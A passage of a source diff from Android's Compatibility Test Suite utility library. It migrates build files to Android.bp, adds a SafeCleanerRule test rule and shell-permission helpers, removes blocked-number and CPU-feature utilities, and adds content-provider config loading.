+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .setDumper(mDumper)
+                .run(mGoodGuyRunner1)
+                .add(mGoodGuyExtraExceptions1)
+                .add(() -> {
+                    return ImmutableList.of(extra1, extra2);
+                })
+                .run(() -> {
+                    throw error1;
+                })
+                .run(mGoodGuyRunner2)
+                .add(() -> { return ImmutableList.of(extra3); })
+                .add(mGoodGuyExtraExceptions2)
+                .run(() -> { throw error2; });
+
+        final SafeCleanerRule.MultipleExceptions actualException = expectThrows(
+                SafeCleanerRule.MultipleExceptions.class,
+                () -> rule.apply(new FailureStatement(testException), mDescription).evaluate());
+        assertThat(actualException.getThrowables())
+                .containsExactly(testException, error1, error2, extra1, extra2, extra3)
+                .inOrder();
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyRunner2).run();
+        verify(mGoodGuyExtraExceptions1).call();
+        verify(mDumper).dump("Whatever", actualException);
+    }
+}
diff --git a/common/device-side/util/Android.bp b/common/device-side/util/Android.bp
new file mode 100644
index 0000000..2000cb8
--- /dev/null
+++ b/common/device-side/util/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library_static {
+    name: "compatibility-device-util",
+    sdk_version: "test_current",
+
+    srcs: [
+       "src/**/*.java",
+        "src/**/*.aidl",
+    ],
+
+    static_libs: [
+        "compatibility-common-util-devicesidelib",
+        "android-support-test",
+        "ub-uiautomator",
+        "mockito-target-minus-junit4",
+        "androidx.annotation_annotation",
+    ],
+
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+}
diff --git a/common/device-side/util/Android.mk b/common/device-side/util/Android.mk
deleted file mode 100644
index 931a493..0000000
--- a/common/device-side/util/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    $(call all-Iaidl-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-common-util-devicesidelib \
-    android-support-test \
-    ub-uiautomator \
-    mockito-target-minus-junit4 \
-    androidx.annotation_annotation
-
-LOCAL_JAVA_LIBRARIES := \
-    android.test.runner.stubs \
-    android.test.base.stubs
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := compatibility-device-util
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/common/device-side/util/OWNERS b/common/device-side/util/OWNERS
new file mode 100644
index 0000000..6c89609
--- /dev/null
+++ b/common/device-side/util/OWNERS
@@ -0,0 +1,2 @@
+
+per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, aaronholden@google.com, yuji@google.com, nickrose@google.com
diff --git a/common/device-side/util/jni/android_cts_CpuFeatures.cpp b/common/device-side/util/jni/android_cts_CpuFeatures.cpp
index 7843343..32a5903 100644
--- a/common/device-side/util/jni/android_cts_CpuFeatures.cpp
+++ b/common/device-side/util/jni/android_cts_CpuFeatures.cpp
@@ -25,12 +25,6 @@
     return cpuFamily == ANDROID_CPU_FAMILY_ARM;
 }
 
-jboolean android_cts_CpuFeatures_isArm7Compatible(JNIEnv* env, jobject thiz)
-{
-    uint64_t cpuFeatures = android_getCpuFeatures();
-    return (cpuFeatures & ANDROID_CPU_ARM_FEATURE_ARMv7) == ANDROID_CPU_ARM_FEATURE_ARMv7;
-}
-
 jboolean android_cts_CpuFeatures_isMipsCpu(JNIEnv* env, jobject thiz)
 {
     AndroidCpuFamily cpuFamily = android_getCpuFamily();
@@ -69,8 +63,6 @@
 static JNINativeMethod gMethods[] = {
     {  "isArmCpu", "()Z",
             (void *) android_cts_CpuFeatures_isArmCpu  },
-    {  "isArm7Compatible", "()Z",
-            (void *) android_cts_CpuFeatures_isArm7Compatible  },
     {  "isMipsCpu", "()Z",
             (void *) android_cts_CpuFeatures_isMipsCpu  },
     {  "isX86Cpu", "()Z",
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BatteryUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/BatteryUtils.java
index ba357a16..792db40 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/BatteryUtils.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BatteryUtils.java
@@ -18,15 +18,12 @@
 import static com.android.compatibility.common.util.SettingsUtils.putGlobalSetting;
 import static com.android.compatibility.common.util.TestUtils.waitUntil;
 
-import android.content.pm.PackageManager;
 import android.os.BatteryManager;
 import android.os.PowerManager;
 import android.provider.Settings.Global;
 import android.support.test.InstrumentationRegistry;
 import android.util.Log;
 
-import org.junit.Assume;
-
 public class BatteryUtils {
     private static final String TAG = "CtsBatteryUtils";
 
@@ -106,15 +103,4 @@
         AmUtils.waitForBroadcastIdle();
         Log.d(TAG, "Screen turned " + (on ? "ON" : "OFF"));
     }
-
-    /** @return true if the device supports battery saver. */
-    public static boolean isBatterySaverSupported() {
-        final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
-        return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
-    }
-
-    /** "Assume" the current device supports battery saver. */
-    public static void assumeBatterySaverFeature() {
-        Assume.assumeTrue("Device doesn't support battery saver", isBatterySaverSupported());
-    }
 }
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BlockedNumberService.java b/common/device-side/util/src/com/android/compatibility/common/util/BlockedNumberService.java
deleted file mode 100644
index 360c078..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BlockedNumberService.java
+++ /dev/null
@@ -1,96 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static android.provider.BlockedNumberContract.BlockedNumbers.COLUMN_ORIGINAL_NUMBER;
-import static android.provider.BlockedNumberContract.BlockedNumbers.CONTENT_URI;
-
-import android.app.IntentService;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Intent;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.ResultReceiver;
-import android.util.Log;
-
-/**
- * A service to handle interactions with the BlockedNumberProvider. The BlockedNumberProvider
- * can only be accessed by the primary user. This service can be run as a singleton service
- * which will then be able to access the BlockedNumberProvider from a test running in a
- * secondary user.
- */
-public class BlockedNumberService extends IntentService {
-
-    static final String INSERT_ACTION = "android.telecom.cts.InsertBlockedNumber";
-    static final String DELETE_ACTION = "android.telecom.cts.DeleteBlockedNumber";
-    static final String PHONE_NUMBER_EXTRA = "number";
-    static final String URI_EXTRA = "uri";
-    static final String ROWS_EXTRA = "rows";
-    static final String RESULT_RECEIVER_EXTRA = "resultReceiver";
-
-    private static final String TAG = "CtsBlockNumberSvc";
-
-    private ContentResolver mContentResolver;
-
-    public BlockedNumberService() {
-        super(BlockedNumberService.class.getName());
-    }
-
-    @Override
-    public void onHandleIntent(Intent intent) {
-        Log.i(TAG, "Starting BlockedNumberService service: " + intent);
-        if (intent == null) {
-            return;
-        }
-        Bundle bundle;
-        mContentResolver = getContentResolver();
-        switch (intent.getAction()) {
-            case INSERT_ACTION:
-                bundle = insertBlockedNumber(intent.getStringExtra(PHONE_NUMBER_EXTRA));
-                break;
-            case DELETE_ACTION:
-                bundle = deleteBlockedNumber(Uri.parse(intent.getStringExtra(URI_EXTRA)));
-                break;
-            default:
-                bundle = new Bundle();
-                break;
-        }
-        ResultReceiver receiver = intent.getParcelableExtra(RESULT_RECEIVER_EXTRA);
-        receiver.send(0, bundle);
-    }
-
-    private Bundle insertBlockedNumber(String number) {
-        Log.i(TAG, "insertBlockedNumber: " + number);
-
-        ContentValues cv = new ContentValues();
-        cv.put(COLUMN_ORIGINAL_NUMBER, number);
-        Uri uri = mContentResolver.insert(CONTENT_URI, cv);
-        Bundle bundle = new Bundle();
-        bundle.putString(URI_EXTRA, uri.toString());
-        return bundle;
-    }
-
-    private Bundle deleteBlockedNumber(Uri uri) {
-        Log.i(TAG, "deleteBlockedNumber: " + uri);
-
-        int rows = mContentResolver.delete(uri, null, null);
-        Bundle bundle = new Bundle();
-        bundle.putInt(ROWS_EXTRA, rows);
-        return bundle;
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BlockedNumberUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/BlockedNumberUtil.java
deleted file mode 100644
index e5a0ce4..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BlockedNumberUtil.java
+++ /dev/null
@@ -1,92 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static com.android.compatibility.common.util.BlockedNumberService.DELETE_ACTION;
-import static com.android.compatibility.common.util.BlockedNumberService.INSERT_ACTION;
-import static com.android.compatibility.common.util.BlockedNumberService.PHONE_NUMBER_EXTRA;
-import static com.android.compatibility.common.util.BlockedNumberService.RESULT_RECEIVER_EXTRA;
-import static com.android.compatibility.common.util.BlockedNumberService.ROWS_EXTRA;
-import static com.android.compatibility.common.util.BlockedNumberService.URI_EXTRA;
-
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.Looper;
-import android.os.ResultReceiver;
-
-import junit.framework.TestCase;
-
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Utility for starting the blocked number service.
- */
-public class BlockedNumberUtil {
-
-    private static final int TIMEOUT = 2;
-
-    private BlockedNumberUtil() {}
-
-    /** Insert a phone number into the blocked number provider and returns the resulting Uri. */
-    public static Uri insertBlockedNumber(Context context, String phoneNumber) {
-        Intent intent = new Intent(INSERT_ACTION);
-        intent.putExtra(PHONE_NUMBER_EXTRA, phoneNumber);
-
-        return Uri.parse(runBlockedNumberService(context, intent).getString(URI_EXTRA));
-    }
-
-    /** Remove a number from the blocked number provider and returns the number of rows deleted. */
-    public static int deleteBlockedNumber(Context context, Uri uri) {
-        Intent intent = new Intent(DELETE_ACTION);
-        intent.putExtra(URI_EXTRA, uri.toString());
-
-        return runBlockedNumberService(context, intent).getInt(ROWS_EXTRA);
-    }
-
-    /** Start the blocked number service. */
-    static Bundle runBlockedNumberService(Context context, Intent intent) {
-        // Temporarily allow background service
-        SystemUtil.runShellCommand("cmd deviceidle tempwhitelist " + context.getPackageName());
-
-        final Semaphore semaphore = new Semaphore(0);
-        final Bundle result = new Bundle();
-
-        ResultReceiver receiver = new ResultReceiver(new Handler(Looper.getMainLooper())) {
-            @Override
-            protected void onReceiveResult(int resultCode, Bundle resultData) {
-                result.putAll(resultData);
-                semaphore.release();
-            }
-        };
-        intent.putExtra(RESULT_RECEIVER_EXTRA, receiver);
-        intent.setComponent(new ComponentName(context, BlockedNumberService.class));
-
-        context.startService(intent);
-
-        try {
-            TestCase.assertTrue(semaphore.tryAcquire(TIMEOUT, TimeUnit.SECONDS));
-        } catch (InterruptedException e) {
-            TestCase.fail("Timed out waiting for result from BlockedNumberService");
-        }
-        return result;
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicConditionalTestCase.java b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicConditionalTestCase.java
deleted file mode 100644
index d12caa8..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicConditionalTestCase.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import org.junit.Before;
-
-/**
- *  Device-side base class for tests leveraging the Business Logic service for rules that are
- *  conditionally added based on the device characteristics.
- */
-public class BusinessLogicConditionalTestCase extends BusinessLogicTestCase {
-
-    @Override
-    @Before
-    public void handleBusinessLogic() {
-        super.loadBusinessLogic();
-        ensureAuthenticated();
-        super.executeBusinessLogic();
-    }
-
-    protected void ensureAuthenticated() {
-        if (!mCanReadBusinessLogic) {
-            // super class handles the condition that the service is unavailable.
-            return;
-        }
-
-        if (!mBusinessLogic.mConditionalTestsEnabled) {
-            skipTest("Execution of device specific tests is not enabled. "
-                    + "Enable with '--conditional-business-logic-tests-enabled'");
-        }
-
-        if (mBusinessLogic.isAuthorized()) {
-            // Run test as normal.
-            return;
-        }
-        String message = mBusinessLogic.getAuthenticationStatusMessage();
-
-        // Fail test since request was not authorized.
-        failTest(String.format("Unable to execute because %s.", message));
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
index 671d33b..5ba57c1 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
@@ -19,19 +19,21 @@
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeTrue;
 
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.Rule;
-import org.junit.rules.TestName;
-
 import android.app.Instrumentation;
+import android.content.ContentResolver;
 import android.content.Context;
+import android.net.Uri;
+import android.os.ParcelFileDescriptor;
 import android.support.test.InstrumentationRegistry;
 import android.util.Log;
 
-import java.lang.reflect.Field;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.rules.TestName;
+
 import java.io.File;
-import java.util.List;
+import java.io.FileNotFoundException;
+import java.lang.reflect.Field;
 import java.util.Map;
 
 /**
@@ -42,6 +44,9 @@
     /* String marking the beginning of the parameter in a test name */
     private static final String PARAM_START = "[";
 
+    public static final String CONTENT_PROVIDER =
+            String.format("%s://android.tradefed.contentprovider", ContentResolver.SCHEME_CONTENT);
+
     /* Test name rule that tracks the current test method under execution */
     @Rule public TestName mTestCase = new TestName();
 
@@ -71,6 +76,20 @@
     }
 
     protected void loadBusinessLogic() {
+        String uriPath = String.format("%s/%s", CONTENT_PROVIDER, BusinessLogic.DEVICE_FILE);
+        Uri sdcardUri = Uri.parse(uriPath);
+        Context appContext = InstrumentationRegistry.getTargetContext();
+        try {
+            ContentResolver resolver = appContext.getContentResolver();
+            ParcelFileDescriptor descriptor = resolver.openFileDescriptor(sdcardUri, "r");
+            mBusinessLogic = BusinessLogicFactory.createFromFile(
+                    new ParcelFileDescriptor.AutoCloseInputStream(descriptor));
+            return;
+        } catch (FileNotFoundException e) {
+            // Log the error and use the fallback too
+            Log.e("BusinessLogicTestCase", "Error while using content provider for config", e);
+        }
+        // Fallback to reading the business logic directly.
         File businessLogicFile = new File(BusinessLogic.DEVICE_FILE);
         if (businessLogicFile.canRead()) {
             mBusinessLogic = BusinessLogicFactory.createFromFile(businessLogicFile);
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CpuFeatures.java b/common/device-side/util/src/com/android/compatibility/common/util/CpuFeatures.java
index 6cf1414..9360942 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/CpuFeatures.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/CpuFeatures.java
@@ -46,8 +46,6 @@
 
     public static native boolean isArmCpu();
 
-    public static native boolean isArm7Compatible();
-
     public static native boolean isMipsCpu();
 
     public static native boolean isX86Cpu();
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java b/common/device-side/util/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java
index e7ee499..0e443fb 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java
@@ -16,17 +16,29 @@
 
 package com.android.compatibility.common.util;
 
+import android.content.ContentResolver;
+import android.content.Context;
+import android.net.Uri;
 import android.os.Environment;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import android.support.test.InstrumentationRegistry;
 
 import org.xmlpull.v1.XmlPullParserException;
 
 import java.io.File;
 import java.io.IOException;
+import java.io.FileNotFoundException;
 
 /**
  * Load dynamic config for device side test cases
  */
 public class DynamicConfigDeviceSide extends DynamicConfig {
+
+    public static final String CONTENT_PROVIDER =
+            String.format("%s://android.tradefed.contentprovider", ContentResolver.SCHEME_CONTENT);
+
     public DynamicConfigDeviceSide(String moduleName) throws XmlPullParserException, IOException {
         this(moduleName, new File(CONFIG_FOLDER_ON_DEVICE));
     }
@@ -36,6 +48,21 @@
         if (!Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) {
             throw new IOException("External storage is not mounted");
         }
+        // Use the content provider to get the config:
+        String uriPath = String.format("%s/%s/%s.dynamic", CONTENT_PROVIDER, configFolder.getAbsolutePath(), moduleName);
+        Uri sdcardUri = Uri.parse(uriPath);
+        Context appContext = InstrumentationRegistry.getTargetContext();
+        try {
+            ContentResolver resolver = appContext.getContentResolver();
+            ParcelFileDescriptor descriptor = resolver.openFileDescriptor(sdcardUri,"r");
+
+            initializeConfig(new ParcelFileDescriptor.AutoCloseInputStream(descriptor));
+            return;
+        } catch (FileNotFoundException e) {
+            // Log the error and use the fallback too
+            Log.e("DynamicConfigDeviceSide", "Error while using content provider for config", e);
+        }
+        // Fallback to the direct search
         File configFile = getConfigFile(configFolder, moduleName);
         initializeConfig(configFile);
     }
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
index b98acee..c95b8df 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -53,12 +53,6 @@
         return propertyEquals(BUILD_TYPE_PROPERTY, "user");
     }
 
-    /** Returns whether the device build is the factory ROM */
-    public static boolean isFactoryROM() {
-        // property should be undefined if and only if the product is factory ROM.
-        return getPropertyInt(FIRST_API_LEVEL) == INT_VALUE_IF_UNSET;
-    }
-
     /** Returns whether this build is built with dev-keys */
     public static boolean isDevKeysBuild() {
         for (String tag : Build.TAGS.split(",")) {
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/SafeCleanerRule.java b/common/device-side/util/src/com/android/compatibility/common/util/SafeCleanerRule.java
new file mode 100644
index 0000000..055a6a1
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/SafeCleanerRule.java
@@ -0,0 +1,170 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import androidx.annotation.NonNull;
+import android.util.Log;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.Callable;
+
+/**
+ * Rule used to safely run clean up code after a test is finished, so that exceptions thrown by
+ * the cleanup code don't hide exception thrown by the test body
+ */
+// TODO: move to common CTS code
+public final class SafeCleanerRule implements TestRule {
+
+    private static final String TAG = "SafeCleanerRule";
+
+    private final List<Runnable> mCleaners = new ArrayList<>();
+    private final List<Callable<List<Throwable>>> mExtraThrowables = new ArrayList<>();
+    private final List<Throwable> mThrowables = new ArrayList<>();
+    private Dumper mDumper;
+
+    /**
+     * Runs {@code cleaner} after the test is finished, catching any {@link Throwable} thrown by it.
+     */
+    public SafeCleanerRule run(@NonNull Runnable cleaner) {
+        mCleaners.add(cleaner);
+        return this;
+    }
+
+    /**
+     * Adds exceptions directly.
+     *
+     * <p>Typically used when exceptions were caught asychronously during the test execution.
+     */
+    public SafeCleanerRule add(@NonNull Callable<List<Throwable>> exceptions) {
+        mExtraThrowables.add(exceptions);
+        return this;
+    }
+
+    /**
+     * Sets a {@link Dumper} used to log errors.
+     */
+    public SafeCleanerRule setDumper(@NonNull Dumper dumper) {
+        mDumper = dumper;
+        return this;
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+            @Override
+            public void evaluate() throws Throwable {
+                // First run the test
+                try {
+                    base.evaluate();
+                } catch (Throwable t) {
+                    Log.w(TAG, "Adding exception from main test");
+                    mThrowables.add(t);
+                }
+
+                // Then the cleanup runners
+                for (Runnable runner : mCleaners) {
+                    try {
+                        runner.run();
+                    } catch (Throwable t) {
+                        Log.w(TAG, "Adding exception from cleaner");
+                        mThrowables.add(t);
+                    }
+                }
+
+                // And finally add the extra exceptions
+                for (Callable<List<Throwable>> extraThrowablesCallable : mExtraThrowables) {
+                    final List<Throwable> extraThrowables = extraThrowablesCallable.call();
+                    if (extraThrowables != null) {
+                        Log.w(TAG, "Adding " + extraThrowables.size() + " extra exceptions");
+                        mThrowables.addAll(extraThrowables);
+                    }
+                }
+
+                // Finally, throw up!
+                if (mThrowables.isEmpty()) return;
+
+                final int numberExceptions = mThrowables.size();
+                if (numberExceptions == 1) {
+                    fail(description, mThrowables.get(0));
+                }
+                fail(description, new MultipleExceptions(mThrowables));
+            }
+
+        };
+    }
+
+    private void fail(Description description, Throwable t) throws Throwable {
+        if (mDumper != null) {
+            mDumper.dump(description.getDisplayName(), t);
+        }
+        throw t;
+    }
+
+    private static String toMesssage(List<Throwable> throwables) {
+        String msg = "D'OH!";
+        try {
+            try (StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw)) {
+                sw.write("Caught " + throwables.size() + " exceptions\n");
+                for (int i = 0; i < throwables.size(); i++) {
+                    sw.write("\n---- Begin of exception #" + (i + 1) + " ----\n");
+                    final Throwable exception = throwables.get(i);
+                    exception.printStackTrace(pw);
+                    sw.write("---- End of exception #" + (i + 1) + " ----\n\n");
+                }
+                msg = sw.toString();
+            }
+        } catch (IOException e) {
+            // ignore close() errors - should not happen...
+            Log.e(TAG, "Exception closing StringWriter: " + e);
+        }
+        return msg;
+    }
+
+    // VisibleForTesting
+    static class MultipleExceptions extends AssertionError {
+        private final List<Throwable> mThrowables;
+
+        private MultipleExceptions(List<Throwable> throwables) {
+            super(toMesssage(throwables));
+
+            this.mThrowables = throwables;
+        }
+
+        List<Throwable> getThrowables() {
+            return mThrowables;
+        }
+    }
+
+    /**
+     * Optional interface used to dump an error.
+     */
+    public interface Dumper {
+
+        /**
+         * Dumps an error.
+         */
+        void dump(@NonNull String testName, @NonNull Throwable t);
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ShellIdentityUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/ShellIdentityUtils.java
new file mode 100644
index 0000000..f3438ee
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/ShellIdentityUtils.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.app.UiAutomation;
+import android.support.test.InstrumentationRegistry;
+
+/**
+ * Provides utility methods to invoke system and privileged APIs as the shell user.
+ */
+public class ShellIdentityUtils {
+
+    /**
+     * Utility interface to invoke a method against the target object.
+     *
+     * @param <T> the type returned by the invoked method.
+     * @param <U> the type of the object against which the method is invoked.
+     */
+    public interface ShellPermissionMethodHelper<T, U> {
+        /**
+         * Invokes the method against the target object.
+         *
+         * @param targetObject the object against which the method should be invoked.
+         * @return the result of the invoked method.
+         */
+        T callMethod(U targetObject);
+    }
+
+    /**
+     * Utility interface to invoke a method against the target object.
+     *
+     * @param <U> the type of the object against which the method is invoked.
+     */
+    public interface ShellPermissionMethodHelperNoReturn<U> {
+        /**
+         * Invokes the method against the target object.
+         *
+         * @param targetObject the object against which the method should be invoked.
+         */
+        void callMethod(U targetObject);
+    }
+
+    /**
+     * Invokes the specified method on the targetObject as the shell user. The method can be invoked
+     * as follows:
+     *
+     * {@code ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+     *        (tm) -> tm.getDeviceId());}
+     */
+    public static <T, U> T invokeMethodWithShellPermissions(U targetObject,
+            ShellPermissionMethodHelper<T, U> methodHelper) {
+        final UiAutomation uiAutomation =
+                InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            return methodHelper.callMethod(targetObject);
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Invokes the specified method on the targetObject as the shell user. The method can be invoked
+     * as follows:
+     *
+     * {@code ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+     *        (tm) -> tm.getDeviceId());}
+     */
+    public static <U> void invokeMethodWithShellPermissionsNoReturn(
+            U targetObject, ShellPermissionMethodHelperNoReturn<U> methodHelper) {
+        final UiAutomation uiAutomation =
+                InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            methodHelper.callMethod(targetObject);
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Utility interface to invoke a static method.
+     *
+     * @param <T> the type returned by the invoked method.
+     */
+    public interface StaticShellPermissionMethodHelper<T> {
+        /**
+         * Invokes the static method.
+         *
+         * @return the result of the invoked method.
+         */
+        T callMethod();
+    }
+
+    /**
+     * Invokes the specified static method as the shell user. This method can be invoked as follows:
+     *
+     * {@code ShellIdentityUtils.invokeStaticMethodWithShellPermissions(Build::getSerial));}
+     */
+    public static <T> T invokeStaticMethodWithShellPermissions(
+            StaticShellPermissionMethodHelper<T> methodHelper) {
+        final UiAutomation uiAutomation =
+                InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            return methodHelper.callMethod();
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+}
diff --git a/common/device-side/util/tests/Android.bp b/common/device-side/util/tests/Android.bp
new file mode 100644
index 0000000..2abba37
--- /dev/null
+++ b/common/device-side/util/tests/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test {
+    name: "compatibility-device-util-tests",
+
+    srcs: ["src/**/*.java"],
+
+    static_libs: [
+        "compatibility-device-util",
+        "junit",
+        "testng", // TODO: remove once Android migrates to JUnit 4.12, which provide assertThrows
+        "truth-prebuilt"
+    ],
+
+    sdk_version: "test_current",
+}
diff --git a/common/device-side/util/tests/Android.mk b/common/device-side/util/tests/Android.mk
deleted file mode 100644
index a073b9a..0000000
--- a/common/device-side/util/tests/Android.mk
+++ /dev/null
@@ -1,29 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
